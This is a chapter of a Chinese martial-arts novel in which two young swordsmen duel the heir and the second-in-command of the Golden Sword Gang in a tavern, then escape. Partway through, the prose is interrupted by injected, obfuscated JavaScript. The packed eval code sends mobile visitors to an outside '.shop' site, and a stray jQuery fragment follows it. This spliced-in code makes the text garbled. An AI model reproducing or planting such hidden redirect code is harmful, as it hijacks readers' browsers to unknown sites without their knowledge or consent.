第十七章酒楼斗法
邹御风忽道:“这位前辈莫不是金剑帮二当家的,江湖人称‘慈悲手’的骆宏弛骆老爷子吧?”那老者心下微微惊异,想不到对方眼力这般好,一眼便认出他来了,说道:“不敢,正是老朽。”言下之意自是承认自己就是了。
邹御风拱手道:“久闻骆老前辈大名,今日得见,真乃三生有幸。”又向那公子望了一眼,说道:“那这位公子,想必就是司马帮主的爱子,司马龙少侠了吧?”那公子哼了一声,道:“你倒有些眼力,正是本公子。”
不错,这老者正是金剑帮的二当家骆宏弛,那青年公子也就是金剑帮少帮主司马龙。这金剑帮是渭西一带的一个大帮会,人数也有近万,实力不俗,独霸一方,也是江湖中四大帮派之一。
骆宏弛虽人称‘慈悲手’但手上的功夫可是不凡,其成名绝技“五行神掌”乃武林一绝,江湖中显有敌手,只不过他为人十分仗义,恩怨分明,从不滥杀无辜,所以才得到这个‘慈悲手’的名号。
骆宏弛打量了一下邹御风与陈剑飞,却是一点也不认得,心道:“阿四有二百来斤重,能这样轻而易举的将扔下楼去,身手当是不弱,在江湖中当也不是等闲之辈,但却是面生的很,看这两人的年纪也大不到哪里去,却不知是何门派的弟子?”
当下说道:“对了,还没有请教两位公子高姓大名?”司马龙在一边叫道:“二叔,何必跟他们如此客气,瞧他们那个样子,能有什么来头,哼!狗屁不如的东西。”
的确,邹御风与陈剑飞打扮都很普通,不像司马龙那样,身上长衫是用上等丝绸所制,腰带也是用金丝编织而成,两端还各镶有一颗宝石,双手上各带有两枚戒指,上面所嵌的宝石各不相同,每一样都价值不菲,一望便知是大富大贵人家的公子哥。
邹御风冷冷一笑,说道:“是啊,我等之人岂能与富甲一方的金剑帮相比,我们是一个狗屁都不值,司马少帮主却值一个狗屁,真是失敬了。”陈剑飞忍不住哈哈大笑,说道:“不错,正是,正是,邹兄一点也没有说错。”
司马龙闻言大怒,目露杀机。骆宏弛暗皱眉头,心想:“大哥就这一个儿子,自小骄生惯养,百依百顺,养成了现在这般暴燥的脾气,凡事都不肯吃亏,现在在此吃了亏,如何肯会善罢甘休?”果然还没等他想完,司马龙便叫了起来,骂道:“臭小子,不知死活的东西,你们是活得不耐烦了,敢与我金剑帮作对,来人啊,把这两人给我拿下,本少爷重重有赏。”
众金剑帮弟子齐应了声是,各自拔出兵刃围上前去,那阿四刚才在邹御风手下吃了大苦头,这次不敢与他为敌,与另几人向陈剑飞攻去。
陈剑飞一低肩头,避开砍来的两把大刀,右腿倏伸,正中一人的小腹,那人痛叫一声,低下身子,陈剑飞左手抓住那人脉门拉近身边,从左边攻上来的三人长剑本已刺到陈剑飞身侧了,忽见陈剑飞抓了自己的人作盾牌,心下一惊,投鼠忌器,急忙撤剑换招。陈剑飞右手反抄,拿起桌上几只菜盘,甩手掷出,那几人急忙挥舞兵刃格挡。陈剑飞趁这空档,两手疾伸,抓住最近两人的胸襟,内力透穴而,那两人只觉全身一麻,顿时便动弹不得,陈剑飞振臂一扬,将二人扔了出去,正砸在冲过来的三人身上。五人登时便摔作一团,个个撞得鼻青脸肿。
而邹御风更是轻松,他左手在桌上一拍,桌上筷筒内的十几支筷子齐齐震飞起,邹御风右手挥扇一扇,一股凌厉的劲风托起那十几支筷子,激射而出,竹筷虽轻,但被内力一激,却不亚于一只只利箭,那几人躲避不用,尽数打在各人身上。登时全都给打爬下了。所幸邹御风不想伤人性命,用力不大,竹筷只刺破了各人的皮肤,而没深入,不然这些弟子大半恐怕要受重伤。
司马龙这么多手下竟然不堪一击,又惊又怒,喝道:“好狂妄的东西,让本少爷会会你。”伸手握住剑柄,唰的一声拔出长剑,但见一道银弧划过半空,司马龙手中多一把寒光闪闪的长剑,那剑剑身极薄,通体呈淡青色,显然不是凡品。
邹御风啧啧赞道:“好剑,果然是把好剑,只可惜跟错了人,糟蹋了这把好剑。”司马龙闻听此言,更是怒不可遏,杀机顿起,一抖长剑,道:“少逞口舌之利,受死去吧!”白光一闪,长剑迅捷无比的刺向邹御风的胸口,招数狠辣,极为凌厉。
邹御风闪身急避,向右斜开一步。司马龙见一击不中,长剑一扬,反手横削而去,比之刚才那一招有过之而无不用,一心想致对方于死地。
骆宏弛素知这上侄子的为人,见他痛下杀手,生怕惹出不必要的麻烦,忙道:“阿龙,不可鲁莽。”
但司马龙急红了眼,哪里肯听得进,出手仍然是招招致命,邹御风手中没有兵刃,无法格挡,只不住闪身避让。
司马龙父亲是金剑帮帮主,在武林中也极有地位,任谁见了他也都十分的客气,轻易都不敢去招惹金剑帮,也正因此,司马龙行走江湖以来,江湖中人看在他父亲的面子上,大凡都让他三分,久而久之便使司马龙养成了目空一切的毛病,自认为天下除了他爹和二叔三叔外但数他武功最高了。是以自诩自己出手要不了十招便会打败对方,却未曾想已连出了六七剑,却边对方一点衣角也没有碰到,不由的更是恼怒,出手更加上了三分力。
一边的陈剑飞见状,知司马龙的长剑不容易对付,伸手抄起旁边的一张长凳,向司马龙掷了过来。司马龙闻得风声甚急,忙举剑上翻,迎声削去,嗤得一声轻响,长凳从中断为两截。邹御风瞧得机会,挥扇倏点向他腋下“极泉穴”,这一招又快又疾,司马龙吃了一惊,急忙回剑去封,邹御风身快如电,不待他长剑刺到,便已转身绕到他的侧面。
司马龙没料到对方反应如此之快,自己没奈何到对方,反而
差点中了他的道,实大大出乎他的意料,直气得牙根都痒痒。挥剑疾刺,一招“青龙出海”直取邹御风的小腹要害。司马龙恼羞成怒,也顾不得父亲的嘱咐,使出金剑帮的镇帮绝技“金龙十七剑”来。
这“金龙十七剑”在江湖中可是一等一的功夫,据说传自隋末“风尘三侠”之一的虬髯客张三郎,剑法玄奥,博大精深,近二百年来历经数代人之手,不断加以完善,眼下虽只有一十七招,但每一招都威力不凡,当年曾被誉为武林第一剑法。
邹御风知道厉害,身向后纵三尺,绕到一张饭桌后面。司马龙跨步上前,挥剑猛劈,那饭桌只是普通的木桌,哪里能经得住他的宝剑,嗤嗤两声,便裂成几块,跟着足尖一点,身向前伸,一招“斩天断地”直取邹御风腰间。招数凌厉已极,若是一般身的人,是万难抵挡的。
邹御风疾提真气,双脚拔地而起,左手一伸,抓住顶上的房粱,翻粱而过,落到司马龙的后面。司马龙突然不见对方的身影,不由一惊,跟着又觉脑后一股劲风袭到,不及细想,急忙向前奔了一步,回身挥剑反撩。邹御风缩回折扇,斜步避开。
二人你来我往,片刻间便已拆了二十余招,谁也没占到上风。一边的骆宏弛见到司马龙这般打法,本想出言阻止,便转念一想:“也好,阿龙平时目空一切,不将天下群雄放在眼中,早晚是要吃大亏的,现在让他清醒清醒也好,也可趁机看看此人是什么武功路数,师属何门何派。”想到这里,也没再出言阻,只是暗中加以戒备,以防不测。
“金龙十七剑”刚柔并济,端凝稳重。不但要求使剑者身俱深厚的内力,而且还要有泰山压顶而面不改色之气魄,不为一时得势而自喜,不以一时失利而气馁,心平气静,不急不躁,才可将剑法威力发挥到最大境界。
而司马龙虽练习剑法已有十余年了,但他天生骄傲自满,目空一切,其本性也就注定了他无法悟得此剑法的真谛,招数虽是练得纯熟无比,但与此剑真正的威力相比,却相差甚远,对付一般的武林高手,尚可占到上风,但若与一流的高手对阵,那是必吃亏无疑。
骆宏弛瞧了一阵,心中暗暗摇头,知司马龙要想取胜,那是不大可能的。正谓一寸长,一分强,一寸短,一分险。邹御风虽在兵刃方面要吃一些亏,但却也丝毫不落下风,折扇忽开忽合,戳、挥、点、刺、插,勾,招数变幻莫测,在司马龙疾如骤雨般的剑势之倏进倏出,挥洒自如。
司马龙虽然几乎竭尽了全力,便始终没占到什么便宜,二人斗得近百招,但兵刃却没有碰到一次。陈剑飞一边一直目不转睛的望着二人比斗,凝神细瞧二人所用的招数,心想:“平时师父就常常给我讲解天下各门各派的武学路数,以达到知已知彼,百战不殆,眼下正好趁机看看这名闻天下的‘金龙十七剑’,邹兄的扇法也是不凡,不知是何门派的武功。”
又看了二十余招,就见邹御风手听折扇似乎渐渐显的沉重起来,挥动之时比之先前略微有些呆滞。陈剑飞瞧得心中一惊,心叫不好,左手中暗暗扣了三枚铜板,准备邹御风有不测之时立即出手相救。但又瞧了一会,却见邹御风并未有落败的迹相,反而见司马龙递剑之时略显的有些吃力,笔直刺出的剑身,挨近到邹御风的折扇时,却斜开了少许。
陈剑飞又瞧了一会,顿时明白了,邹御风是将体内真气逐渐凝集到折扇上面。大凡武林中人都知道“举重若轻”的道理,也就是说一件十分沉重的兵刃使却之际,便如手中无物一样,要达到这种程度,若无深厚的内力,一般人是很难办到的。
而邹御风则恰恰相反,是“举轻若重”,换句话说,就是将一件很轻的兵刃,使出之际,便如是一件几十斤的重兵刃一样。相比之下,“举轻若重”要比“举重若轻”更难。陈剑飞自诩依自己现在的功功要达到这种地步,还是要差上一些,心下不禁暗暗钦佩邹御风的武功不凡。
转眼间,二人已斗到二百招左右,司马龙额头上已冒出不少汗水,剑法发挥也大不如先前,他见斗了这么久,也奈何不了对方,心中越发的焦急怒恼,长剑虽越使越快,但威力却已是大打折扣。
一边的金剑帮弟子却没这个眼力,只瞧到少帮主长剑越使越快,一副大占上风的样子,纷纷喝彩叫好,阿谀奉承,媚词如潮,有的说:“少帮主神功盖世,英雄无敌,我敢打赌要不了十招,少帮主就会要了那小子的命。”有的道:“跳粱小丑,也敢与少帮主动手,那不是自寻死路吗?”
若是在平时司马龙大占上风之时,听到这些话自是大为受用,而此时邹御风折扇上发出的内力越来越强,自己的长剑递到他身前二三尺处时,便已感到十分的吃力,刺不进去,心知对方武功犹在自己之上,心下已暗叫苦不迭,偏偏在这时众弟子又大拍马屁,在他听来却是格外的刺耳,仿佛都是在挖苦嘲笑他,直气的大叫道:“都给我闭上鸟嘴,少说一句话你们会死啊?”
那些弟子听到少帮主发火,知道拍错了马屁,拍到马脚上了,连忙都住了嘴巴。忽听嗤得一声轻响,却是邹御风趁司马龙说话分心之机,挥扇倏进,直点司马龙前胸,这一招出其不意,司马龙正忙着说话了,完全没有防备,待到发觉之时,邹御风的折扇已递到了胸前。
总算他久经战阵,经验颇丰,急吸了一口所,收胸缩腹,身向后仰,这才堪堪避开了过去,不过右肋边的衣服却被邹御风的折扇划了条尺许长的口子。他那绸衬是用上等面料所制,这一破了个口子,看上去大是不雅。邹御风轻轻跃开丈许,拱手道:“少帮主多有承让了。”
他这本是客气之话,但在司马龙听来,却是比打他一个耳光还要难受,脸色气的煞白,心中是又恼又恨,喝道:“少罗嗦,再接本少爷两剑。”
双手握剑,剑刃平放斜向上指,招式很是奇怪。骆宏弛瞧见,心下一惊,知道他要用“金龙十七剑”中的最后三招绝命剑,这三招绝命剑可说是金龙十七剑中最厉害的剑招,威力奇大,但往往在致对方于死地的同时,自身也会受到伤害,是一种两败俱伤的打法,所以若不是遇到不共戴天的仇人,或是生死命悬一线的时候,是不会使用此招的。
司马龙急红了眼,却顾不得那么多了,意欲与邹御风拼个两败俱伤。骆宏弛自不会袖手旁观,纵身上前,一把拉住他的胳臂,喝道:“阿龙,你疯了,快停手。”
司马龙哪里听得进去,大叫道:“我要杀了他,我要杀了他。”骆宏弛道:“怎么,难道你忘了我爹怎么说过的吗,胜败乃兵家常事,何必一定要拼个你死我活。”司马龙道:“二叔,你就眼看着侄儿被人欺,一点不问吗?”骆宏弛道:“阿龙,你太要强了,须知人外有人,天外有天,这次的教训可要记住了。”
司马龙见骆宏弛没有出手的意思,眼珠一转,道:“二叔,小侄败了事小,但若传到江湖上面去,人人都说堂堂一个金剑帮,连一个无名小卒都对付不了,岂不让人笑掉了大牙,咱们金剑帮的颜面何存?”
他这一说,骆宏弛眉头微微一皱,心想:“阿龙所言也不是没有道理,对方将自己摸的一清二楚,而自己看了半天,也没有摸清对方到底是何来路,若传扬了出去,对本帮确是大大有损,看来不出手是不行了,至少也要摸清对方的来路才行,回去后也好对大哥有个交待。”
想到这里,骆宏弛转身向邹御风道:“适才见公子与小侄过招,看公子武功不凡,在江湖中也很少见,不知公子师从何人,从属何派?”邹御风道:“晚辈这点微末小技,哪里能放上桌面,让前辈见笑了,无名小卒,不提也罢。”
骆宏弛道:“公子过谦了,依公子的身手怎可说是无名小卒呢?”司马龙插口道:“二叔,跟他罗嗦什么,打的他在地上爬不起来,看他敢不说出来。”骆宏弛摆了摆手,道:“不要多嘴,我自有分寸。”
司马龙虽然狂妄自大,目空一切,但对骆宏弛还是礼敬有加的,闻言便住了口,不再多说。骆宏弛又道:“公子执意不肯透露师承,这倒让骆某为难了,小侄这次败在你手下,但却竟然连败在何人之手也不知道,日后在下见兄长,也不好交待,没办法骆某只好亲自向公子讨教几招了。”
邹御风眉头一皱,说道:“骆老爷子太客气了,讨教二字哪敢当,江湖中谁人不知骆老爷子‘五行神掌’天下一绝,难逢对手,在下嫣能是骆老爷子的对手。”
司马龙哼了一声,说道:“识相点的就快些向我二叔磕头认错,不然,哼!让你吃不了,兜着走。”邹御风心中微微着恼,冷冷道:“怎么,少帮主还想与在下切磋切磋吗,在下可以随时奉陪?”
邹御风这一说,正揭中司马龙的伤疤,适才他已败了一场,在众帮众子弟面前丢尽了颜面,若是再战,那只是自取其辱。陈剑飞也上前一步,说道:“败军之将,何言再战?”
司马龙本就十分的恼火,闻听陈剑飞之言,更是气得够呛,双目恶狠狠的直盯向陈剑飞。陈剑飞也不甘示弱,怒目而视,以眼还眼。
骆宏弛见邹御风避重就轻,心下不快,说道:“公子难道瞧不起老夫,怕我这把老骨头不经打吗?”邹御风忙道:““骆老爷子误会了,在下并非此意。”骆宏弛道:“那好,你即不想与我动手,那就留下你的姓名师承,他日我侄儿再有所成,再向你讨教几招。”
邹御风见骆宏弛步步紧逼,心下微怒,暗想:“我敬你是武林前辈,你却持老不尊,哼!便是拼了师父的责骂,我也要与他斗上一斗。”
当下说道:“那好吧!既然骆老爷子有意要指点晚辈,那晚辈就恭敬不如从命,还请骆老爷多多手下留情。骆宏弛道:“如此甚好。”扭头向众弟子道:“你们都往后退。”众弟子见二当家的亲自动手,心知是非同小可,急忙退到一边,楼上留出一大块空地来。
此时楼上的食客早已跑得干干净净,楼下的食客闻听楼上有人打架纷纷挤在楼梯口边,向上仰望瞧热闹,最焦急的自是要数酒楼的掌柜了,这楼上一打起来,那东西还不全给砸坏了,他哪能不心疼,但又不敢上去劝架,唯恐惹恼了那些人,自己小命不保,只好不停的念阿弥陀佛,菩萨保佑了。
邹御风拱手道:“骆老爷子就请多多指教了。”骆宏弛道:“公子请吧,不可客气。”邹御风收起折扇,插在腰间,右手凝掌,轻展少许,平平推出一掌,不疾也不慢。骆宏弛一怔,心想:“这是什么掌法,平淡无奇,破绽百出,怎从来也没有见过?”转念又想:“高手过招,不能有半点闪失,一然一招之差,轻则受伤,重则丧命,他这掌法定是有什么厉害的后势,我且看看再说。”当下微一侧身,避开这一掌。
邹御风轻轻一笑,臂向里弯,变掌为拳,击向骆宏弛的前胸。这一拳大反常理,因为依当时他所处的那个位置,若是出拳直击对方胸口,那其前庭门户便会大开,对方只要稍有反击,他便会中招。骆宏弛越是奇怪,越是不敢掉以轻心,怕万一自己贪功冒进,中了对方圈套,那这个脸可就丢大了。
邹御风拳到中途,突然一转,又变拳为掌,斜切而下,招数仍是十分的平淡无奇,无什么精妙之处。这一来,陈剑飞、司马龙等人也均是瞧得很是奇怪,不知邹御风用的是什么功夫。骆宏弛见到他的第三招,心下更奇,微一思索,忽然明白过来。
原来邹御风这三招都是无用的虚招,他料定骆宏弛自恃是武林前辈,与晚辈动手必会先让上几招,一来是显得自己大度,二来是趁机从对方的招数中,看出是什么路数,属于何门何派。邹御风便将计就计,胡乱出了三招,好让骆宏弛摸不到自己的底。
骆宏弛想通这点,心中不禁有此恼怒,暗想:“分明是不想显露自己真正的武功,不把老夫放在心里,哼!老夫就不信摸不到你的家底,看你能挡得住老夫几掌?”朗声说道:“三招已过,莫怪老夫不客气了。”
气凝丹田,力贯右臂,一招“五丁开山”直击而出,乃是“五行神掌”的起手第一招。不过这么虽然只是起手招式,但威力也是十分的惊人,掌风中隐隐有风雷之声,端是小觑不得。
邹御风久闻此掌的厉害,其师也多有提醒指点,知自己功力与对方相比,尚有差距,硬拼不得,当下身形一晃斜避了过去,掌风从他身侧刮过,呼吸不禁为之一窒。
骆宏弛一招不中,第二招“气吞山河”接连又到。气势比之刚才一掌更盛,陈剑飞等人虽站在三丈外,亦也能感觉到阵阵的掌风。
邹御风纵身跃开,绕到骆宏弛身后,挥掌拍向他的后心。骆宏弛急忙转身,左掌挡在胸前,护住诸大要穴,右掌横击直扫,招数虽不怎么精妙,但力道浑厚无比,邹御风右掌若是与他硬碰,必会受伤无疑。陈剑飞忍不住啊了一声,为邹御风捏了一把的汗。邹御风身形急转,左足在地上一撑,闪身飞开,只听“喀喇”一声大响,他身后的一张饭桌被掌力击中,登时中间被击穿了一个大洞,四分五裂,变成一堆碎木片,上面的碗碟筷勺乒乒乓乓落了一地,全都摔得稀巴烂。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754124|209484||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
邹御风喝了一声彩,凌空出掌,直击向骆宏弛右肩。骆宏弛斜步抽身,左掌反转回击,邹御风不待掌力击到,已游身而退,同时右臂长伸,迅捷无比的又向其左肋拍出一掌。
骆宏弛心头一惊,邹御风变招之快,大大出乎他的意料,当下不及细想,左臂回格,迎上一掌。但闻砰的一声大响,两掌相迎,二人各感身形一震,邹御风向后退了一步,骆宏弛虽没有后退,但也觉胸口微微一窒,心中不由一凛:“看此人年纪也不很大,想不到内功修为已这般深厚,我倒真是低估他了。”
念用至此,不同得好胜心起,大喝了一声,叫道:“好小子,功夫不错,再接老夫两掌试试。”话未落音,掌随身起,双掌一前一后,连环而出,便如滚滚大河,涛涛东去,势不可挡。正是“五行神掌”中的精髓所在。骆宏弛在此掌上浸淫了三十余年功力,掌法已达到炉火纯青的地步,威力自也是可想而知了。
邹御风自知自己功力与对方相比,相差有不少距离,硬拼不得,身快如风,脚下不断变幻方位,避开骆宏弛那浑厚无比的掌力。只偶尔得空反击一两招,总体而言,还是骆宏弛占据上风,不过要想打败邹御风,短时间内却是不可能的。
二人越斗越快,转眼间便已斗到百招左右,摆在四周的桌椅板凳,俱被骆宏弛那凌厉的掌力震得粉碎,变成一堆堆的木片木屑,强劲的掌风将离得较近一些的金剑帮弟子吹得直往向退,掌风拂面而过,便似利刃刮面一样,又冷又痛。
陈剑飞在一边瞧得目不转睛,一会替邹御风担心,一会又为骆宏弛叫好,心情跌荡起伏,喜忧参半。喜得是自己刚入江湖,便见到一场难得的高手比试,可以大大增加自己的阅历、经验,忧的是怕邹御风不是骆宏弛的对方,久战下去必会不支,一不小心有个闪失,那是他不愿看到的。所以才是又喜又忧,心盼二人能握手言和,不要再斗了。
正当他全神贯注的看着二人恶斗之时,忽沉背后凉风飕至,体内真气立时流转,心下大惊,知有人从背后偷袭,当下也不及细想,身子一矮,双足用力向前一蹬,斜身向前射出。背后偷袭的那一剑好快,尽管陈剑飞躲得够快的了,但右肩部的衣衫还是被划了一条长口子,不由的惊出一头冷汗,所幸只划破了衣服,没有伤及到皮肉,有惊无险。
陈剑飞身子斜射出后,右手持剑在地上一点,借力跃起一个旋身,落到两丈开外,回身一瞧,只见偷袭之人乃是刚才败于邹御风之手的司马龙。
原来司马龙一招之差,败与邹御风之手后,心中怒气难平,他本想趁邹御风与骆宏弛拼头之际,在暗中突施辣手,偷袭邹御风,好报刚才一箭之仇。但又想起二叔骆宏弛最恼自己在与对手过招之时,有人从中插手,生怕自己便是得手了,骆宏弛也不会放过自己。只得打消这个念头。
斜眼瞧见陈剑飞正聚精会神的观看比武,想起刚才陈剑飞在一边帮腔,与邹御风一唱一和,挖苦、嘲笑自己,心中恨火顿起,偷偷拔出长剑,向陈剑飞后心刺去,纯心想要致陈剑飞于死地。好在陈剑飞内力深厚,反应灵敏,这才躲过一难。
陈剑飞摸了摸右肩的衣衫,仍自心有余悸,刚才若是自己反应稍慢一点,那这条右臂便就没了,一想这,心中又怒又气,大声喝道:“背后暗算人,真是卑鄙无耻下流。”
司马龙脸上一热,他本想这一招便是要不了陈剑飞的命,也会把他刺成重伤,这样便可不费什么功夫杀了他,报刚才一箭之仇。没想到陈剑飞身手如此了得,竟让他给避了过去,他输理在先,自然是无话可说,感到脸红了。
邹御风虽与骆宏弛斗得正激,但一直都在留陈剑飞这边,见他被司马龙偷袭,心下一惊,急道:“陈兄,你没事吧?”陈剑飞道:“邹兄放心,小弟没有事。”
转身向司马龙喝道:“ 亏你还是名门子弟,竟也用这各卑鄙的手段?”司马龙哼了一声,道:“本少爷只想试试你的反应能力怎么样,这才出手试你。”陈剑飞怒道:“无耻小人,还强词夺理。”
司马龙脸上也有些挂不住了,喝道:“那你能把本少爷怎么样啊?”陈剑飞也不答话,喝了一声“看剑”,抽出随身长剑,手臂一振,剑尖急颤,分心便刺,疾如风、迅如雷,正是最上乘的玄门剑法。
司马龙没有想到陈剑飞竟敢向自己挑战,心下一愣神间,陈剑飞的长剑已刺到胸前,好在他反应也快,急忙挥剑横挡封架。陈剑飞知他长剑是柄宝剑,自己长剑只是把普通的长剑,与他的长剑硬碰必会被其削断,当下剑势一转,变刺为斩,斜斜直向司马龙的腰间,他拔剑出招又变招,一气呵成,中间全无一点的空隙,剑法已有相当的造诣。
司马龙急忙闪身避开,定了定心神,心想:“这小子年纪轻轻,能有多大的道行,待我好好的收拾他。”一提真气,催动长剑,依仗长剑之刘,横削竖劈,直砍斜削,一连出了十七八剑,所用剑法虽不是“金龙十七剑”,但也是江湖上一流的剑法,加之又有宝剑之利,因此一时间大占上风。
那些金剑帮的弟子见到少帮主大占上风,均是大呼小叫,大拍马屁,所用之词肉麻不堪入耳,司马龙洋洋得意,对这些话在是受用,不禁有些飘飘然了,催动长剑,一剑接着一剑,尽是厉害的杀着。陈剑飞虽处劣势,但心如止水,静心凝气,不急不躁。只一心接招迎敌,因此虽处劣势,但却也无败相。
司马龙眼见对手只有招架之功,心下更是得意,早将其父平时在练功时对他的教导,忘到九霄云外去了。其剑法姿式虽然优美流畅,但剑法威力却是大打折扣,司马龙正在高兴头上,哪里还注意到这些。
二人出剑均是极快,不大会已互换过几十招。陈剑飞对司马龙的剑法路数大致摸清,心中有了底数,因此司马龙虽数次猛下杀手,但均被陈剑飞轻易避开,直气得司马龙又加了三分的力,但却仍奈可不了对方。
另一边骆宏弛与邹御风已斗到近二百招,仍是胜负难分,骆宏弛心中又惊又异,本来他想几十招内便可摸到对方的来路,但眼下斗到将近二百招,却仍摸不清对方是哪一派的武功,他嫣能不惊,不由得激起好胜之心,又斗得几招,忽掌法一变,双掌纵横挥舞,着着进逼,两股掌力一左一右从两边压将上来。
邹御风只觉两股巨力向自己挤来,无论他是向左还是向右,都被对方掌力给逼了回来,而又硬挡又不得,急忙纵身后退,但那酒楼面积本也大不到哪里去,退得两次便已靠近墙壁了,再要往后退,便已没有路了。骆宏弛见时机已到,大喝一声,双掌交错,一招“五行归一”猛地向前推出,一股推山倒海般的掌力向邹御风压去。这是他生平甚为得意的一招,也是五行神掌中的精髓。
邹御风一声清啸,身子陡然拔地而起,左掌向上一扬,喀喇一声,屋顶上被震开一个大洞,身子倏地从中而出。此时,骆宏弛的掌力呼地从他脚下方飞过,砰得一声巨响,邹御风适才所站位置的那面墙壁被劈出一个大洞,烟尘迷漫,砖屑土块乱飞,一边的众弟子纷纷躲避,唯恐被其伤到。
陈剑飞与司马龙也被骆宏弛掌力余波波及,急忙各自退了两步,运气定神。陈剑飞见到骆宏弛此掌的如此的威力,心下大惊,叫道:“邹兄,邹兄。”司马龙叫道:“那小子已被我二叔打得找不到人影了,你再叫也没有用了。”
陈剑飞又惊又怒,气贯丹田,内力凝集,一声沉喝,内力自丹田源源涌出,自右襞贯入手中长剑,振臂一挥,一股强劲无比的剑气自剑上发出,如雷似电般的刺出,司马龙正得意间,万没料到陈剑飞会突然出剑,急忙举起长剑,迎势封挡,
只听铮得一声长响,司马龙只觉右腕猛得一震,剧痛欲断,体内气血沸腾不止,跟着又觉身子微向一沉,脚下咯吱轻响,低头一瞧,却见脚面陷下楼板中两寸许,不由得大吃一惊。陈剑飞这一剑是含而发,威力自非同小可,若非司马龙手中是把宝剑,挡住了他大半的剑气,不然司马龙就是不死,也得会受重伤。
便在此时,只听头顶上方的屋面砰得一声大响,破了一个大洞,泥尘纷纷下落,一个从洞中一跃而下。陈剑飞一瞧,却见正是邹御风,又惊又喜,道:“邹兄,原来你没有事,真是太好了。”邹御风笑道:“算命的以前给我算过命,说我命硬的很,不会那么容易死的。”一边说,一边挥掌向司马龙拍去。
司马龙适才硬接了陈剑飞一剑,正调理体内的杂乱的真气,见对方掌力浑厚,不敢硬拼,急步斜身避开。邹御风也不去追,伸手一拉陈剑飞的左手,道:“快走。”
陈剑飞会意,二人一起纵身,从旁这的窗户中跃出,落到楼下。邹御风回身向楼上一拱手,朗声道:“今日骆老爷子多有承让,他日有空再向骆老爷子请教,告辞了。”
骆宏弛奔到楼窗边,向下望去,只见二人已飞身奔得远了。司马龙向一边的众弟子叫道:“你们都还愣着干什么,还是快去追?”众弟子齐声应是,正要下楼去追,骆宏弛一摆手,止住众人,道:“不用追了,你们追也追不上他们。”
司马龙道:“二叔,难道就这样放他们走了?”骆宏弛道:“他二人武功不弱,在江湖中当非无名之辈,日后定会再有机会碰到他们的。”又叹了口气,心想:“想不到骆宏弛行走江湖数十年,现在竟然连两人的武功派别也认不来了,真是长江后浪推前浪,一代新人换旧人,英雄出少年。”